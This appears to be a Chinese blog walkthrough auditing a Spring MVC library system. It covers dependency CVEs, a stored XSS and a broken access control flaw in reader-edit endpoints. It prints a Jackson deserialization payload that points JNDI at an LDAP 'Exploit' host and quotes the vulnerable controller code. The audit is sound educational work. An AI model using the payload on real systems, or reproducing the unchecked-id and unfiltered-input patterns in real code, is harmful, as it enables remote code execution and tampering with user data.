一 配置好项目,启动项目
该项目是标准的html+css作为前端,spring mvc架构模式作为后端的java开源项目,使用tomcat作为web容器,mysql作为数据库。将项目启动完毕后,开始进行相关的安全审计。
二 漏洞审计
漏洞的审计通常包括两个方面,通用性漏洞审计(多为中间件漏洞)和硬编码漏洞审计(程序员编码漏洞)。
2.1 通用性漏洞审计
java项目多为基于maven引入相关依赖,有时候也会遇见直接从lib导入依赖的,本项目为maven项目,打开pom.xml文件查看相关依赖。
对相关中间件版本进行查看是否存在通用型漏洞
spring
经过查找,发现了一个疑似可以利用的漏洞CVE-2022-22965(影响范围为Spring Framework版本为5.3.0到5.3.17,5.2.0到5.2.19以及其他老版本) 该漏洞需要满足条件:
使用JDK9及以上版本
使用Apache Tomcat作为容器
使用了传统的WAR包部署方式
依赖了spring-wemvc以及springwebflux
Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20
因此无法利用该漏洞,不过写完这篇文章肥肥鲨也想去研究一下相关漏洞
Tomcat,Servlet
这里我用的是自己的tomcat所以就不看了
Jackson
2.8.8版本存在jackson反序列化漏洞CVE-2020-36188,危险函数为readValue和writeValueAsString。
ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping();
String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
Object o = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(o);
全局搜索这两个函数,发现本项目没有引用这两个函数,因此该漏洞不好利用。
总结
项目使用的包版本较老,很多中间件都存在问题,包括但不限于jackson,jetty等,由于项目本身较小,没有明显的通用型漏洞,但如果考虑到项目的拓展性,应当对相关的中间件进行升级。
2.2 硬编码漏洞审计
项目结构
项目采用标准mvc架构,数据库中间件采用了hibernate,该中间件sql注入较少,没有看到相关参数的Filter,可能会存在xss,文件上传等常见漏洞。
存储型xss漏洞
在修改个人信息相关的功能模块发现存储型xss漏洞,相关代码如下:
@RequestMapping("reader_edit_do_r.html")
public String readerInfoEditDoReader(HttpServletRequest request,String name,String sex,String birth,String address,String telcode,RedirectAttributes redirectAttributes){
ReaderCard readerCard=(ReaderCard) request.getSession().getAttribute("readercard");
if (!readerCard.getName().equals(name)){
boolean succo=readerCardService.updateName(readerCard.getReaderId(),name);
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
Date nbirth=new Date();
try{
java.util.Date date=sdf.parse(birth);
nbirth=date;
}catch (ParseException e){
e.printStackTrace();
}
ReaderInfo readerInfo=new ReaderInfo();
readerInfo.setAddress(address);
readerInfo.setBirth(nbirth);
readerInfo.setName(name);
readerInfo.setReaderId(readerCard.getReaderId());
readerInfo.setTelcode(telcode);
readerInfo.setSex(sex);
boolean succ=readerInfoService.editReaderInfo(readerInfo);
if(succ&&succo){
ReaderCard readerCardNew = loginService.findReaderCardByUserId(readerCard.getReaderId());
request.getSession().setAttribute("readercard", readerCardNew);
redirectAttributes.addFlashAttribute("succ", "信息修改成功!");
return "redirect:/reader_info.html";
}else {
redirectAttributes.addFlashAttribute("error", "信息修改失败!");
return "redirect:/reader_info.html";
}
}else {
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
Date nbirth=new Date();
try{
java.util.Date date=sdf.parse(birth);
nbirth=date;
}catch (ParseException e){
e.printStackTrace();
}
ReaderInfo readerInfo=new ReaderInfo();
readerInfo.setAddress(address);
readerInfo.setBirth(nbirth);
readerInfo.setName(name);
readerInfo.setReaderId(readerCard.getReaderId());
readerInfo.setTelcode(telcode);
readerInfo.setSex(sex);
boolean succ=readerInfoService.editReaderInfo(readerInfo);
if(succ){
ReaderCard readerCardNew = loginService.findReaderCardByUserId(readerCard.getReaderId());
request.getSession().setAttribute("readercard", readerCardNew);
redirectAttributes.addFlashAttribute("succ", "信息修改成功!");
return "redirect:/reader_info.html";
}else {
redirectAttributes.addFlashAttribute("error", "信息修改失败!");
return "redirect:/reader_info.html";
}
}
}
从前端获取参数未过滤就调用了Service层的方法,但是要正确执行xss还要看处理显示的相关方法。相关方法如下:
@RequestMapping("/reader_info.html")
public ModelAndView toReaderInfo(HttpServletRequest request) {
ReaderCard readerCard=(ReaderCard) request.getSession().getAttribute("readercard");
ReaderInfo readerInfo=readerInfoService.getReaderInfo(readerCard.getReaderId());
ModelAndView modelAndView=new ModelAndView("reader_info");
modelAndView.addObject("readerinfo",readerInfo);
return modelAndView;
}
可以看出在redaer_info这一块确实存在xss漏洞,验证如下:
垂直越权漏洞
在审计xss漏洞的同时,发现后端并没有对非管理员用户进行访问控制,所有用户均可以直接请求reader_edit_do方法进行任意读者信息的增删改查。相关问题代码如下:
@RequestMapping("reader_edit_do.html")
public String readerInfoEditDo(HttpServletRequest request,String name,String sex,String birth,String address,String telcode,RedirectAttributes redirectAttributes){
int readerId= Integer.parseInt(request.getParameter("id"));
ReaderCard readerCard = loginService.findReaderCardByUserId(readerId);
String oldName=readerCard.getName();
if(!oldName.equals(name)){
boolean succo=readerCardService.updateName(readerId,name);
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
Date nbirth=new Date();
try{
java.util.Date date=sdf.parse(birth);
nbirth=date;
}catch (ParseException e){
e.printStackTrace();
}
ReaderInfo readerInfo=new ReaderInfo();
readerInfo.setAddress(address);
readerInfo.setBirth(nbirth);
readerInfo.setName(name);
readerInfo.setReaderId(readerId);
readerInfo.setTelcode(telcode);
readerInfo.setSex(sex);
boolean succ=readerInfoService.editReaderInfo(readerInfo);
if(succo&&succ){
redirectAttributes.addFlashAttribute("succ", "读者信息修改成功!");
return "redirect:/allreaders.html";
}else {
redirectAttributes.addFlashAttribute("error", "读者信息修改失败!");
return "redirect:/allreaders.html";
}
}
else {
System.out.println("部分修改");
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
Date nbirth=new Date();
try{
java.util.Date date=sdf.parse(birth);
nbirth=date;
}catch (ParseException e){
e.printStackTrace();
}
ReaderInfo readerInfo=new ReaderInfo();
readerInfo.setAddress(address);
readerInfo.setBirth(nbirth);
readerInfo.setName(name);
readerInfo.setReaderId(readerId);
readerInfo.setTelcode(telcode);
readerInfo.setSex(sex);
boolean succ=readerInfoService.editReaderInfo(readerInfo);
if(succ){
redirectAttributes.addFlashAttribute("succ", "读者信息修改成功!");
return "redirect:/allreaders.html";
}else {
redirectAttributes.addFlashAttribute("error", "读者信息修改失败!");
return "redirect:/allreaders.html";
}
}
}
直接给别人的信息改了。。。相似的还有很多,建议各位在处理业务逻辑的时候取id值直接从session里面取。
三 小结
本文主要还是给各位做代审提供一个基本的思路,选取的系统比较简单。漏洞也比较多,再审肯定还有别的,大部分都是硬编码漏洞,就到这吧。。。看累了。